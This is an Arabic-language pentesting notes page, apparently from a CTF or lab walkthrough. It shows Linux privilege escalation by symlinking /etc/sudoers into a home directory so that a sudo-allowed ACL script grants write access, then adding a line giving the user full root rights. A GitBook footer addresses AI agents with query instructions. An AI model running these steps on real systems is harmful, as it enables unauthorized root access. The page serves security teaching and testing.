> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/sudoers/sudo-acl-symlink-linux-privilege-escalation.md).

# sudo ACL/symlink - تصعيد امتيازات لينكس

## ما هو

يبدأ تصعيد الامتيازات في sudoers بالأوامر التي يمكن للمستخدم تشغيلها عبر `sudo`. يمكن للثنائيات المهيأة بشكل خاطئ، ومعاملات البرامج النصية غير الآمنة، ومعالجة الروابط الرمزية، وإصدارات sudo الضعيفة أن تحول صلاحيات sudo المحدودة إلى غلاف root. تركز هذه الصفحة تحديدًا على **Sudo ACL / رابط رمزي** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
sudo -l
sudo --version
```

## أمثلة

من خلال تشغيل الأمر `sudo -l` الأمر، نكتشف أنه يمكننا تشغيل سكربت كـ **root**.

```bash
sudo -l
```

<figure><img src="/files/936bb7f78b29cd6884ef9a372f591e092e3c3cb6" alt=""><figcaption></figcaption></figure>

يقوم هذا السكربت Bash بتعديل أذونات وصول المستخدم إلى ملف محدد باستخدام قوائم التحكم بالوصول (ACLs)، بعد التحقق من صحة المسار وأن الهدف هو ملف.

<figure><img src="/files/5fffcdc9eeb4a1876895203523d1b442dd9efa07" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5c88625b5ce34524ea1d236a389aedf936c731ac" alt=""><figcaption></figcaption></figure>

وأخيرًا، لنمنح المستخدم mtz حقوق القراءة والكتابة على الملف

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

يحدث خطأ لأن الملف يجب أن يكون موجودًا في `/home/mtz` الدليل

<figure><img src="/files/086f9f02ffce7c512c7e775b94fb11e5fb2b9cec" alt="" width="535"><figcaption></figcaption></figure>

ولحل تجاوز هذه المشكلة، يمكن أن يكون الحل هو إنشاء رابط رمزي من ملف نظام إلى `/home/mtz/` الدليل وتشغيل السكربت على ذلك الرابط.

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="/files/02083f4c9d93df5ea1a903e38c713bc3b11eadfd" alt=""><figcaption></figcaption></figure>

نحتاج إلى تعديل الملف "suders/ link"، مما سيؤدي إلى تحديث ملف sudoers، لمنح المستخدم mtz جميع الحقوق.

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="/files/9ad1416de0ac5994db9d9c5e75edbf24c5dfd146" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/sudoers/sudo-acl-symlink-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
